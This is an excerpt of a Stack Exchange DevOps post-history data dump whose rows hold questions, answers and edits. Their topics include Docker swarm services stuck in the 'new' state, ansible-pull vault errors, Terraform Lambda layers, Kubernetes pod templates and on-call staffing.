  <row Id="27932" PostHistoryTypeId="1" PostId="9403" RevisionGUID="62e14ac9-801b-4c6f-b68d-eb44a4690220" CreationDate="2019-10-10T12:28:57.000" UserId="3599" Text="How can I determine which command / step failed within a travis build" ContentLicense="CC BY-SA 4.0" />
  <row Id="27933" PostHistoryTypeId="3" PostId="9403" RevisionGUID="62e14ac9-801b-4c6f-b68d-eb44a4690220" CreationDate="2019-10-10T12:28:57.000" UserId="3599" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27934" PostHistoryTypeId="2" PostId="9404" RevisionGUID="57671422-e0aa-4ce2-a85f-792e406f415c" CreationDate="2019-10-10T15:01:18.313" UserId="15792" Text="Look at the Travis CI Logs.  Often a failed build step will return &quot;Error&quot;, &quot;Failure&quot;, &quot;-1&quot;, buried in a wall of text.  If you want a better way to collect and  these logs you can check out the following:&#xD;&#xA;&#xD;&#xA; - [Official Github page with details on how log collection works][1]&#xD;&#xA; - [An official blog on how to structure your production logs.][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/travis-ci/travis-logs&#xD;&#xA;  [2]: https://blog.travis-ci.com/2014-04-11-fun-with-logs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27935" PostHistoryTypeId="2" PostId="9405" RevisionGUID="0559182c-73c3-4c40-9d8e-876fbf91443c" CreationDate="2019-10-10T16:07:09.263" UserId="7646" Text="I am deploying a service stack to a Docker swarm like so:&#xD;&#xA;&#xD;&#xA;    $ dt stack deploy --with-registry-auth -c tmp.stack.docker-compose.yml tmp&#xD;&#xA;    Creating network tmp_my-network&#xD;&#xA;    Creating service tmp_my-service&#xD;&#xA;&#xD;&#xA;    $ dt stack ps tmp&#xD;&#xA;    ID                  NAME                IMAGE               NODE    DESIRED STATE       CURRENT STATE       ERROR               PORTS&#xD;&#xA;    yyjue6fdqu5u        tmp_my-service.1    nginx:latest                            Running             New 7 minutes ago&#xD;&#xA;&#xD;&#xA;As you can see it's just an nginx, but the state of the service never leaves &quot;new&quot;.&#xD;&#xA;&#xD;&#xA;I can not stack deploy any other service either. No matter what I write into my compose file, they are all stuck in state &quot;NEW&quot;.&#xD;&#xA;&#xD;&#xA;I am not sure how to produce the following output from commandline, but in a running portainer I was able to get the following information:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Services &gt; tmp_my-service &gt; qlvqjofehvqys8kje3b32y50v &gt; Logs&#xD;&#xA;    &quot;Error grabbing logs: rpc error: code = Unknown desc = warning: incomplete log stream. some logs could not be retrieved for the following reasons: task qlvqjofehvqys8kje3b32y50v has not been scheduled&quot;&#xD;&#xA;&#xD;&#xA;This makes sense, as it looks like the service's tasks are never being scheduled, nothing is actually ever started. So I am assuming something (at orchestrator level) stops Docker swarm from carrying out the request to get any service started.&#xD;&#xA;&#xD;&#xA;Where might I find more information about what could be wrong?&#xD;&#xA;&#xD;&#xA;I have tried:&#xD;&#xA;&#xD;&#xA;    $ docker events&#xD;&#xA;    network create bcqcoakf5worjmfpelb199xrp (name=my-network)&#xD;&#xA;    node update rddzqxvlu2v2ylbcbywpa8kze (name=node-name)&#xD;&#xA;    service create x549akxlbonn9zvtxgh8oq2mm (name=my-service)&#xD;&#xA;&#xD;&#xA;https://success.docker.com/article/why-do-my-services-stay-pending-when-trying-to-schedule-them-with-placement-contraints&#xD;&#xA;&#xD;&#xA;https://success.docker.com/article/swarm-troubleshooting-methodology&#xD;&#xA;&#xD;&#xA;Details of the task:&#xD;&#xA;&#xD;&#xA;    $ dt stack services tmp&#xD;&#xA;    dID                  NAME                MODE                REPLICAS            IMAGE               PORTS&#xD;&#xA;    x549akxlbonn        my-service      replicated          0/1                 nginx:latest&#xD;&#xA;&#xD;&#xA;    $ dt service ps my-service&#xD;&#xA;    ID                  NAME                IMAGE               NODE                DESIRED STATE       CURRENT STATE       ERROR               PORTS&#xD;&#xA;    m4d929n5su7r        my-service.1    nginx:latest                            Running             New 4 minutes ago&#xD;&#xA;&#xD;&#xA;    $ dt inspect --type task m4d929n5su7r&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;ID&quot;: &quot;m4d929n5su7re5igit3w2tnvg&quot;,&#xD;&#xA;            &quot;Version&quot;: {&#xD;&#xA;                &quot;Index&quot;: 2397643&#xD;&#xA;            },&#xD;&#xA;            &quot;CreatedAt&quot;: &quot;2019-10-10T15:58:33.416210977Z&quot;,&#xD;&#xA;            &quot;UpdatedAt&quot;: &quot;2019-10-10T15:58:33.416210977Z&quot;,&#xD;&#xA;            &quot;Labels&quot;: {},&#xD;&#xA;            &quot;Spec&quot;: {&#xD;&#xA;                &quot;ContainerSpec&quot;: {&#xD;&#xA;                    &quot;Image&quot;: &quot;nginx:latest@sha256:aeded0f2a861747f43a01cf1018cf9efe2bdd02afd57d2b11fcc7fcadc16ccd1&quot;,&#xD;&#xA;                    &quot;Labels&quot;: {&#xD;&#xA;                        &quot;com.docker.stack.namespace&quot;: &quot;tmp&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Command&quot;: [&#xD;&#xA;                        &quot;tail&quot;,&#xD;&#xA;                        &quot;-f&quot;,&#xD;&#xA;                        &quot;/dev/null&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;Privileges&quot;: {&#xD;&#xA;                        &quot;CredentialSpec&quot;: null,&#xD;&#xA;                        &quot;SELinuxContext&quot;: null&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Isolation&quot;: &quot;default&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;Resources&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Condition&quot;: &quot;on-failure&quot;,&#xD;&#xA;                    &quot;Delay&quot;: 5000000000,&#xD;&#xA;                    &quot;MaxAttempts&quot;: 3,&#xD;&#xA;                    &quot;Window&quot;: 120000000000&#xD;&#xA;                },&#xD;&#xA;                &quot;Placement&quot;: {&#xD;&#xA;                    &quot;Constraints&quot;: [&#xD;&#xA;                        &quot;node.role == manager&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;Platforms&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Architecture&quot;: &quot;amd64&quot;,&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        },&#xD;&#xA;                        {&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        },&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Architecture&quot;: &quot;arm64&quot;,&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        },&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Architecture&quot;: &quot;386&quot;,&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        },&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Architecture&quot;: &quot;ppc64le&quot;,&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        },&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Architecture&quot;: &quot;s390x&quot;,&#xD;&#xA;                            &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ]&#xD;&#xA;                },&#xD;&#xA;                &quot;Networks&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;Target&quot;: &quot;bcqcoakf5worjmfpelb199xrp&quot;,&#xD;&#xA;                        &quot;Aliases&quot;: [&#xD;&#xA;                            &quot;my-service&quot;&#xD;&#xA;                        ]&#xD;&#xA;                    }&#xD;&#xA;                ],&#xD;&#xA;                &quot;ForceUpdate&quot;: 0&#xD;&#xA;            },&#xD;&#xA;            &quot;ServiceID&quot;: &quot;x549akxlbonn9zvtxgh8oq2mm&quot;,&#xD;&#xA;            &quot;Slot&quot;: 1,&#xD;&#xA;            &quot;Status&quot;: {&#xD;&#xA;                &quot;Timestamp&quot;: &quot;2019-10-10T15:58:33.41619488Z&quot;,&#xD;&#xA;                &quot;State&quot;: &quot;new&quot;,&#xD;&#xA;                &quot;Message&quot;: &quot;created&quot;,&#xD;&#xA;                &quot;PortStatus&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;DesiredState&quot;: &quot;running&quot;&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;It all gives me the same info: Desired is &quot;running&quot;, actual state is &quot;new&quot; but it won't give me more info on why.&#xD;&#xA;&#xD;&#xA;**edit:** Under &quot;placement &gt; Constraints&quot; it says &quot;node.role == manager&quot; in the ouput. This is just temporary, as I have been trying to get it to run on individual nodes by constraining it. It does not work with this constraint, nor any other constraint, nor with no constraint at all." ContentLicense="CC BY-SA 4.0" />
  <row Id="27936" PostHistoryTypeId="1" PostId="9405" RevisionGUID="0559182c-73c3-4c40-9d8e-876fbf91443c" CreationDate="2019-10-10T16:07:09.263" UserId="7646" Text="Docker container stuck in &quot;new&quot; state - Docker swarm - service stack" ContentLicense="CC BY-SA 4.0" />
  <row Id="27937" PostHistoryTypeId="3" PostId="9405" RevisionGUID="0559182c-73c3-4c40-9d8e-876fbf91443c" CreationDate="2019-10-10T16:07:09.263" UserId="7646" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27938" PostHistoryTypeId="5" PostId="9402" RevisionGUID="1122ef1b-1801-4f6a-82ba-8ef9cb7d9c3b" CreationDate="2019-10-10T16:57:57.093" UserId="739" Comment="remove signature and formatting" Text="How do I ignore the `group_vars` vault file when running ansible-pull?&#xD;&#xA;&#xD;&#xA;My repository (among other stuff) does machine init, joining the domain and software updates. I would like the software part to be handled by ansible-pull. No passwords are required for this, and no vault is necessary.&#xD;&#xA;&#xD;&#xA;Unfortunately, initial machine setup after a fresh install does require some passwords which are set in `group_vars/all.yml` and is encrypted by vault. Whenever I run the `ansible-pull` command I run into vault decryption issues as there is no password provided.&#xD;&#xA;&#xD;&#xA;Any advice on how to overcome this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27939" PostHistoryTypeId="5" PostId="9396" RevisionGUID="92564fae-115d-4c78-8336-c056e99f1959" CreationDate="2019-10-10T17:02:27.687" UserId="739" Comment="remove useless tag and copy edit" Text="There is User input functionality in the declarative pipeline which prompt on the Jenkins console but it's a headache to login every time on console and select the appropriate action.&#xD;&#xA;&#xD;&#xA;So I want to implement such a thing via mail for User input, For example User will get the Input via mail where there are two URL's for &quot;Approval&quot; or &quot;Reject&quot; respectively, If User select Approval then proceeded otherwise not. Here need to pass input on the pipeline on runtime.&#xD;&#xA;&#xD;&#xA;Are there any plug-ins for same ?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="27940" PostHistoryTypeId="6" PostId="9396" RevisionGUID="92564fae-115d-4c78-8336-c056e99f1959" CreationDate="2019-10-10T17:02:27.687" UserId="739" Comment="remove useless tag and copy edit" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27941" PostHistoryTypeId="6" PostId="6220" RevisionGUID="c6dd755e-d72f-4099-8c04-4684993bb1b5" CreationDate="2019-10-10T17:03:35.270" UserId="739" Comment="remove useless tag https://devops.meta.stackexchange.com/questions/315/burninate-development-environment" Text="&lt;virtualenv&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27942" PostHistoryTypeId="5" PostId="8816" RevisionGUID="ccba4827-865d-47d4-8fee-461a586922eb" CreationDate="2019-10-10T17:04:21.273" UserId="739" Comment="remove useless tag https://devops.meta.stackexchange.com/questions/315/burninate-development-environment" Text="What is the best way to use Docker in development so that a container is automatically updated each time you make a change to the codebase?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27943" PostHistoryTypeId="6" PostId="8816" RevisionGUID="ccba4827-865d-47d4-8fee-461a586922eb" CreationDate="2019-10-10T17:04:21.273" UserId="739" Comment="remove useless tag https://devops.meta.stackexchange.com/questions/315/burninate-development-environment" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27944" PostHistoryTypeId="6" PostId="6195" RevisionGUID="f900d334-8e36-4ac2-a9c1-aec9279037fa" CreationDate="2019-10-10T17:09:26.503" UserId="739" Comment="remove useless tag https://devops.meta.stackexchange.com/questions/315/burninate-development-environment" Text="&lt;containers&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27945" PostHistoryTypeId="6" PostId="6614" RevisionGUID="538c7b5e-136e-4d46-b458-2f6c509023e4" CreationDate="2019-10-10T18:21:25.697" UserId="4115" Comment="removed development-environment tag per https://devops.meta.stackexchange.com/questions/315/burninate-development-environment/316" Text="&lt;git&gt;&lt;github&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27946" PostHistoryTypeId="6" PostId="8481" RevisionGUID="fcfaf6b4-8622-4981-910b-21a26cdf0fa4" CreationDate="2019-10-10T18:21:47.657" UserId="4115" Comment="removed development-environment tag per https://devops.meta.stackexchange.com/questions/315/burninate-development-environment/316" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;ruby-on-rails&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27947" PostHistoryTypeId="6" PostId="5732" RevisionGUID="0612110e-9b10-4d59-b2f3-cbe9c4ae5765" CreationDate="2019-10-10T18:22:14.873" UserId="4115" Comment="removed development-environment tag per https://devops.meta.stackexchange.com/questions/315/burninate-development-environment/316" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27948" PostHistoryTypeId="6" PostId="5183" RevisionGUID="dc65d228-c91a-4ffd-9d95-9d79985dcca3" CreationDate="2019-10-10T18:22:44.630" UserId="4115" Comment="removed development-environment tag per https://devops.meta.stackexchange.com/questions/315/burninate-development-environment/316" Text="&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27949" PostHistoryTypeId="5" PostId="8481" RevisionGUID="bf4deb28-c6f1-4616-9f71-45c918b2d0a5" CreationDate="2019-10-10T18:25:35.017" UserId="739" Comment="remove premature thanks" Text="I am new to DevOps on the Ruby stack. I have Ruby on Rails application. It uses several Rest based service. Each of the services is deployed with Docker. There are no DevOps efforts now. We use Gitlab as SCM, I am assigned to do the DevOps to help the developers. We want to have three environments (development, staging, production). &#xD;&#xA;&#xD;&#xA;  I have set up an AWS Elastic Container Registry to host docker images. Two accounts (DevOps and developers) so that Gitlab CI/CD pipeline can build and upload images when developers commit code in dev, release branch respectively. &#xD;&#xA;&#xD;&#xA;  I am not sure how to handle the developer workflow. e.g. Developers testing the microservices locally. I believe the developers have to pull the images every time they need to test one of the microservices. How will a developer know that an image was updated when some other dev has updated the AWS ECR registry.&#xD;&#xA;&#xD;&#xA;  I am confused. I would like to get some suggestions on how to support the continuous development and do the continuous release for all environments. Any suggestions or pointers to books or courses that I can get more information around this is also helpful." ContentLicense="CC BY-SA 4.0" />
  <row Id="27950" PostHistoryTypeId="2" PostId="9406" RevisionGUID="2d7530c5-47b2-4518-a925-ef4eb8f9175a" CreationDate="2019-10-10T19:20:07.697" UserId="12833" Text="Actually you need to implement per feature branch deployment. Because development environment use for testing app before QA.&#xD;&#xA;And feature branch deployment is very difficult to implement especialy at the begginging of devops. &#xD;&#xA;&#xD;&#xA;May be at start will be enough to use docker-compose to build latest version of developer's application. On their localhost." ContentLicense="CC BY-SA 4.0" />
  <row Id="27951" PostHistoryTypeId="2" PostId="9407" RevisionGUID="38a8c225-f10b-4f82-aabf-ebfa013cfe2e" CreationDate="2019-10-10T19:32:08.097" UserId="7078" Text="The primary person on call could need help in situations such as:&#xD;&#xA;&#xD;&#xA; - There are too many issues goes on&#xD;&#xA; - Primary needs to step out for a short amount of time&#xD;&#xA; - There are certain activities that are better taken up by a secondary person so that the primary can focus on more critical issues&#xD;&#xA;&#xD;&#xA;So, is it a better practice to have a secondary on call for production operations?  If so, does it make sense for alerts to automatically go to the secondary person in case the primary person doesn't acknowledge the alerts on time?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27952" PostHistoryTypeId="1" PostId="9407" RevisionGUID="38a8c225-f10b-4f82-aabf-ebfa013cfe2e" CreationDate="2019-10-10T19:32:08.097" UserId="7078" Text="Is it a good idea to have a secondary person on call for production operations?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27953" PostHistoryTypeId="3" PostId="9407" RevisionGUID="38a8c225-f10b-4f82-aabf-ebfa013cfe2e" CreationDate="2019-10-10T19:32:08.097" UserId="7078" Text="&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27954" PostHistoryTypeId="2" PostId="9408" RevisionGUID="c3629780-0bc7-4916-9c0f-bc85067950b1" CreationDate="2019-10-10T19:40:34.530" UserId="7646" Text="After some more time I found my answer.&#xD;&#xA;&#xD;&#xA;The service I wanted to deploy was a slightly different version of a service we already have. Stack file for the &quot;original&quot; service:&#xD;&#xA;&#xD;&#xA;    version: '3.7'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;    my-service:&#xD;&#xA;        image: my-repo:port/company/my-service&#xD;&#xA;        ports:&#xD;&#xA;        - 81:81&#xD;&#xA;        networks:&#xD;&#xA;        - my-network&#xD;&#xA;        deploy:&#xD;&#xA;        replicas: 1&#xD;&#xA;        restart_policy:&#xD;&#xA;            condition: on-failure&#xD;&#xA;            delay: 5s&#xD;&#xA;            max_attempts: 3&#xD;&#xA;            window: 120s&#xD;&#xA;    networks:&#xD;&#xA;    my-network:&#xD;&#xA;        driver: overlay&#xD;&#xA;        internal: false&#xD;&#xA;        attachable: true&#xD;&#xA;        ipam:&#xD;&#xA;        driver: default&#xD;&#xA;        config:&#xD;&#xA;            - subnet: 10.1.99.0/24&#xD;&#xA;&#xD;&#xA;We took **the same file** but on a different git branch to deploy the slightly altered version (as makes sense from a &quot;code&quot; perspective).&#xD;&#xA;&#xD;&#xA;From a Docker perspective this meant however that the stack with the original service with the **exact same network definition** was still running and we deployed another stack with **the exact same network definition** again, which lead to the service never being scheduled as, apparently, you must not re-declare the same network twice.&#xD;&#xA;&#xD;&#xA;Of course it will get a different network name, but the overlay/subnet config will be identical.&#xD;&#xA;&#xD;&#xA;It would be nice of Docker to inform you of this when you're trying to do that, but, as it so often is: Crap in, crap out. Our fault!&#xD;&#xA;&#xD;&#xA;For future readers who do not have the exact same problem but their containers are getting stuck in &quot;new&quot; state: It might be safe to assume that it has something to do with your stack-file, your network definition or even something like correct YAML indentation. It is most certainly something &quot;meta&quot; and not something related to your Docker host and specifically not your image or your container (as when the task is stuck in &quot;new&quot; state, there is not even a container in existence as it never got scheduled)." ContentLicense="CC BY-SA 4.0" />
  <row Id="27958" PostHistoryTypeId="2" PostId="9409" RevisionGUID="79334f90-8629-45f9-8b2b-7147632e1b53" CreationDate="2019-10-11T00:28:55.103" UserId="441" Text="I don't think I could imagine having only one person on-call at a given time. There are several reasons why the primary person could be unable to handle an issue - perhaps they are unable to receive alerts, they have limited Internet access for a period of time, they or a family member could be ill and they are unable to work yet the on-call rotation hasn't been updated yet. If you have agreements in which you need to start and/or resolve issues in a specified amount of time, having only one person to get notified and start the work seems very risky.&#xD;&#xA;&#xD;&#xA;Having a clearly defined second person is also useful if the first person gets stuck. There's someone who knows that they are on-call and is hopefully doing the best they can to remain in communication and have access to the resources they need. It makes it easy to know who that person is and get help when it's needed outside.&#xD;&#xA;&#xD;&#xA;However, if you are having &quot;too many issues going on&quot; or have so many on-call issues that the primary needs to &quot;focus on more critical issues&quot;, that would seem to be indicative of poor product or process quality. Situations that require someone being called off-hours should be rare and not the norm, and simultaneous issues should be very rare.&#xD;&#xA;&#xD;&#xA;Of course, this is likely by system. Companies that operate at scale of Amazon and Google are vastly different than a B2B service with half a million total users globally who use the system during working hours. Larger, more complex systems with a need for greater up-time are going to have more people on call and shorter thresholds before proceeding down a call tree than smaller systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="27959" PostHistoryTypeId="2" PostId="9410" RevisionGUID="b31860fe-c06d-4235-b2e6-73acb023002f" CreationDate="2019-10-11T02:52:50.187" UserId="17568" Text="If it's a small(&lt;1MB) file, you can create a configmap with &quot;--from-file&quot; and mount it into volume." ContentLicense="CC BY-SA 4.0" />
  <row Id="27960" PostHistoryTypeId="2" PostId="9411" RevisionGUID="e5e8bbb9-91d2-4cc9-a0c3-66a2abef44e6" CreationDate="2019-10-11T08:45:45.877" UserId="17276" Text="The docs only seem to give me the option to refrence existing layers with me refrenceing an existing layer.&#xD;&#xA;I want to make the layer for my lambda in my teraform code rather than through the cosole bet can't see any option to do this in the docs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27961" PostHistoryTypeId="1" PostId="9411" RevisionGUID="e5e8bbb9-91d2-4cc9-a0c3-66a2abef44e6" CreationDate="2019-10-11T08:45:45.877" UserId="17276" Text="How Can I creat layers for a lambda useing Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27962" PostHistoryTypeId="3" PostId="9411" RevisionGUID="e5e8bbb9-91d2-4cc9-a0c3-66a2abef44e6" CreationDate="2019-10-11T08:45:45.877" UserId="17276" Text="&lt;terraform&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27963" PostHistoryTypeId="5" PostId="310" RevisionGUID="467a6365-1dd6-4907-8fe7-ce3b9d54ca07" CreationDate="2019-10-11T09:00:25.820" UserId="7078" Comment="Fix typos and made minor improvements" Text="Most organizations deal with complexity by breaking down their organization into functional parts and demanding that each part figures out how to improve itself. This is often called the &quot;silo&quot; approach.&#xD;&#xA;&#xD;&#xA;It is important to understand why this silo approach blocks the success of the business and often fails to improve the organization as a whole. And it doesn't affect just development and operations - it affects all the other functional silos within a large organization such as quality assurance team, finance, product and project management.&#xD;&#xA;&#xD;&#xA;As managers of each functional silo are commanded to improve by cutting cost or increasing speed, their reaction is often:&#xD;&#xA;&#xD;&#xA;* I am totally overwhelmed fixing problems from the last improvement effort. Leave me alone.&#xD;&#xA;* What do you want me to do, fulfill my responsibilities or work on improvement projects? I do not have time to do both.&#xD;&#xA;* Not again! Here comes another program of the month.&#xD;&#xA;&#xD;&#xA;With these typical reactions, any executive launching a minor improvement effort is rarely greeted with enthusiasm. Managers find themselves in fierce competition with other functional areas over resources needed to execute their improvements. So, no wonder the command to improve intensifies cross-functional battles!&#xD;&#xA;&#xD;&#xA;Even when a manager completes his part of an improvement project, he then meets other functional areas and other organizations (suppliers, contractors, etc...) that did not do their job. This diminishes or totally negates the results.&#xD;&#xA;&#xD;&#xA;This cross-functional tension is not limited to improvement efforts. It is in the very heart of day-to-day decision making and the judgment of management effectiveness across an organization. Here is one real-life example:&#xD;&#xA;&#xD;&#xA;&gt; A finance manager was told, &quot;improve.&quot; He decided to block hiring contractors that cost more than the nominal price accepted in the market. He implemented the new policy and claimed to have saved $1 million dollars this year.&#xD;&#xA;&gt; With developers and IT unable to hire contractors to help them use container and container orchestration since these contractors are expensive. The IT operations manager in the same company calculated that not improving in their infrastructure was costing the company well over $100,000 in extra expenses each month. At that rate, the annual savings in hiring contractors were eaten away before the year ends.&#xD;&#xA;&#xD;&#xA;You can imagine that the relationship between these two functional areas was not exactly lovey-dovey.&#xD;&#xA;&#xD;&#xA;These cross-functional conflicts are driven by the silo approach, where the organization measures each silo in improvement independently. If you are a cost center, improvement naturally means greater efficiency or cost reduction within your silo.&#xD;&#xA;&#xD;&#xA;In this frame of reference, costs are seen as obeying the &quot;additive&quot; rule. The costs of each silo added together, equal the total cost of the organization. Therefore, managers see any cost reduction in their area as &quot;good,&quot; since they see a direct translation to cost savings for the company as a whole. In this frame of reference, improvement efforts are spread everywhere to attack cost and waste throughout the organization.&#xD;&#xA;&#xD;&#xA;A great example when the development team/s start working Agile and pushing code to QA and Operations every two weeks instead of every quarter like they used to. The QA and Operations are not ready for such a change and are blamed for slacking off. Again, this does not contribute much to the love between the people in development and operations." ContentLicense="CC BY-SA 4.0" />
  <row Id="27964" PostHistoryTypeId="24" PostId="310" RevisionGUID="467a6365-1dd6-4907-8fe7-ce3b9d54ca07" CreationDate="2019-10-11T09:00:25.820" Comment="Proposed by 7078 approved by 210 edit id of 1088" ContentLicense="CC BY-SA 4.0" />
  <row Id="27965" PostHistoryTypeId="5" PostId="9411" RevisionGUID="36ff2bab-8e25-4434-9cea-3ba1027c09f9" CreationDate="2019-10-11T09:02:37.993" UserId="17276" Comment="deleted 36 characters in body" Text="The docs only seem to give me the option to refrence existing layers.&#xD;&#xA;&#xD;&#xA;I want to make the layer for my lambda in my teraform code rather than through the cosole bet can't see any option to do this in the docs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27966" PostHistoryTypeId="4" PostId="9411" RevisionGUID="66036349-6d0c-4565-90dd-8037f3b2b43f" CreationDate="2019-10-11T09:09:26.600" UserId="17276" Comment="edited title" Text="How Can I create layers for a lambda using Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27967" PostHistoryTypeId="5" PostId="9409" RevisionGUID="4c627c6f-5e6b-4c10-bec6-ad26ec6def19" CreationDate="2019-10-11T09:19:23.437" UserId="354" Comment="minor grammar fixes" Text="I can't imagine having only one person on-call at a given time. There are several reasons that the primary person could be unable to handle an issue - perhaps they are unable to receive alerts, they have limited Internet access for a period of time, they or a family member could be ill and they are unable to work yet the on-call rotation hasn't been updated yet. If you have agreements in which you need to start and/or resolve issues in a specified amount of time, having only one person to get notified and start the work seems very risky.&#xD;&#xA;&#xD;&#xA;Having a clearly-defined second person is also useful if the first person gets stuck. There's someone who knows that they are on-call and is hopefully doing the best they can to remain in communication and have access to the resources they need. It makes it easy to know who that person is and get help when it's needed outside.&#xD;&#xA;&#xD;&#xA;However, if you are having &quot;too many issues going on&quot; or have so many on-call issues that the primary needs to &quot;focus on more critical issues&quot;, that would seem to be indicative of poor product or process quality. Situations that require someone being called off-hours should be rare and not the norm, and simultaneous issues should be very rare.&#xD;&#xA;&#xD;&#xA;Of course, this is likely to vary by system. Companies that operate at scale of Amazon and Google are vastly different than a B2B service with half a million total users globally who use the system during working hours. Larger, more complex systems with a need for greater up-time are going to have more people on call and shorter thresholds before proceeding down a call tree than smaller systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="27968" PostHistoryTypeId="24" PostId="9409" RevisionGUID="4c627c6f-5e6b-4c10-bec6-ad26ec6def19" CreationDate="2019-10-11T09:19:23.437" Comment="Proposed by 354 approved by 441 edit id of 1090" ContentLicense="CC BY-SA 4.0" />
  <row Id="27969" PostHistoryTypeId="5" PostId="9411" RevisionGUID="0eeda370-054d-40da-989c-c2b387578a61" CreationDate="2019-10-11T09:23:27.207" UserId="17276" Comment="added 3 characters in body" Text="The docs only seem to give me the option to reference existing layers.&#xD;&#xA;&#xD;&#xA;I want to make the layer for my lambda in my terraform code rather than through the console but can't see any option to do this in the docs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27970" PostHistoryTypeId="2" PostId="9412" RevisionGUID="b1802638-35b4-4d1c-9451-e5be71858287" CreationDate="2019-10-11T13:34:43.093" UserId="17579" Text="&gt; the definition of the replicated pods are always a copy-paste of a pod template file&#xD;&#xA;&#xD;&#xA;This behavior is implemented by Kubernetes itself: it takes the `template` part of the deployment spec and creates `replicas` identical pods.&#xD;&#xA;&#xD;&#xA;The corollary to this is that you don't need to manually write out the pod spec as a separate object.  Including it in the `template` part of a deployment (job, statefulset, daemonset) is enough.&#xD;&#xA;&#xD;&#xA;&gt; Is it possible to rather use a reference to the yaml file (or an url) defining a pod&#xD;&#xA;&#xD;&#xA;No, individual Kubernetes objects must be self-contained (except where there are facilities to do things like inject Secret values into environment variables).  The Kubernetes server doesn't know about your local file system.&#xD;&#xA;&#xD;&#xA;Using one of the templating systems out there ([Helm](https://helm.sh/) is more-or-less standard but not the only choice) could help reduce this duplication, if you really need near-identical deployments and also bare pods.  You could write something like&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    {{ template &quot;pod-spec&quot; . }}&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    spec:&#xD;&#xA;      template:&#xD;&#xA;    {{ include &quot;pod-spec&quot; . | trim | indent 4 }}" ContentLicense="CC BY-SA 4.0" />
  <row Id="27971" PostHistoryTypeId="5" PostId="9407" RevisionGUID="6b46a6db-253b-4fb1-9233-447a0be0716d" CreationDate="2019-10-11T17:37:42.780" UserId="7078" Comment="deleted 6 characters in body" Text="The primary person on call could need help in situations such as:&#xD;&#xA;&#xD;&#xA; - There are too many issues goes on&#xD;&#xA; - Primary needs to step out for a short amount of time&#xD;&#xA; - There are certain activities that are better taken up by a secondary person so that the primary can focus on more critical issues&#xD;&#xA;&#xD;&#xA;So, is it a better practice to have a secondary on call for production operations?  If so, does it make sense for alerts to automatically go to the secondary person in case the primary person doesn't acknowledge them on time?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27975" PostHistoryTypeId="50" PostId="8133" RevisionGUID="f3e4706c-b02f-4a70-90b6-f73e98e91fc4" CreationDate="2019-10-11T20:03:20.493" UserId="-1" />
